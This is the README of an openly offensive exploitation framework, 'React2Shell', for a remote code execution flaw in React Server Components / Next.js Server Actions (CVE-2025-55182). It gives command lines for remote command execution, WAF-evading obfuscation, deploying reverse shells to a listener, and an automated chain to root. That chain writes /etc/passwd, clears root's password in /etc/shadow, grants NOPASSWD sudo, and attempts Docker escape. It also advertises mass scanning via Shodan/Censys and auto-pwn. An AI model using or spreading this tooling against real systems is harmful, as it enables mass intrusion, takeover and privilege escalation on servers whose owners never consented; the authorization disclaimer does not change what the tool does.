
Elite exploitation toolkit for CVE-2025-55182 (React Server Components RCE). Async polymorphic payloads, advanced WAF/CDN bypass, proxy rotation, Shodan/Censys mass scan, auto-pwn + reverse shells, Nuclei templates, K8s lab & C2 dashboard. Authored by Sudeepa Wanigarathna – strictly for authorized red team and penetration testing.
██████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██╗ ██╗
██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║ ██║
██║ █████╗ ██████╔╝██████╔╝█████╗ ██████╔╝██║ ██║
██║ ██╔══╝ ██╔══██╗██╔══██╗██╔══╝ ██╔══██╗██║ ██║
╚██████╗ ███████╗██║ ██║██████╔╝███████╗██║ ██║╚██████╔╝
╚═════╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝
React2Shell Exploitation Framework v1.0
Author: Sudeepa Wanigarathna
Professional-grade exploitation framework for Next.js Server Actions RCE vulnerability (React2Shell). Demonstrates complete attack chain from initial access to root privilege escalation.
Capabilities:
# Check vulnerability
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
# Execute command
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id"
python3 interactive_shell.py --target http://127.0.0.1:3000
# Complete exploitation: RCE → Enumeration → Root Access
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
Cerberus-React2Shell-Hades/
├── react2shell_exploit.py # Core exploit engine (400+ lines)
├── demo_exploit.py # Automated attack chain (290+ lines)
├── interactive_shell.py # Interactive shell (280+ lines)
├── reverse_shell_handler.py # Reverse shell listener (180+ lines)
├── post_exploit/
│ ├── linux_enum.py # System enumeration (330+ lines)
│ ├── priv_esc.py # Privilege escalation (320+ lines)
│ └── __init__.py
├── EXPLOITATION_GUIDE.md # Complete usage documentation
├── QUICKSTART.md # Quick reference
└── BANNER.txt
# Vulnerability check
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
# Execute commands
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "whoami"
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "cat /etc/passwd"
# Different payload variants
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --variant spawn
# With obfuscation
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --obfuscate
# Launch shell
python3 interactive_shell.py --target http://127.0.0.1:3000
# Available commands:
# - execute <cmd> : Execute shell command
# - enum : Run full enumeration
# - escalate : Attempt privilege escalation
# - upload <local> <remote> : Upload file
# - download <remote> <local>: Download file
# - shell <lhost> <lport>: Deploy reverse shell
# - info : Show session info
# - exit : Quit
# Terminal 1: Start listener
python3 reverse_shell_handler.py --lport 4444
# Terminal 2: Deploy shell
python3 react2shell_exploit.py --target http://127.0.0.1:3000 \
--revshell --lhost 127.0.0.1 --lport 4444 --shell-type bash
# Full chain: Discovery → RCE → Enum → Root
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
The framework implements a complete 6-step exploitation chain:
id command/etc/shadow and listing /rootSUID Binaries (GTFOBins)
Writable /etc Files
/etc/passwd - Add new root user/etc/shadow - Clear root password/etc/sudoers - Grant NOPASSWD sudoDocker Escape
Kernel Exploits
Linux Capabilities
pip install -r requirements.txt
Dependencies:
EXPLOITATION_GUIDE.md - Complete usage guide with examplesQUICKSTART.md - Quick reference for common commandsWARNING: This tool is for authorized security testing only. Unauthorized access to computer systems is illegal. Use only on systems you own or have explicit written permission to test.
The author is not responsible for any misuse of this tool. Use at your own risk.
This framework is designed for:
MIT License (Educational Purposes Only)
Sudeepa Wanigarathna
Version: 1.0
Last Updated: December 2025
Lab Status: http://127.0.0.1:3000 (Running)
For detailed usage instructions, see EXPLOITATION_GUIDE.md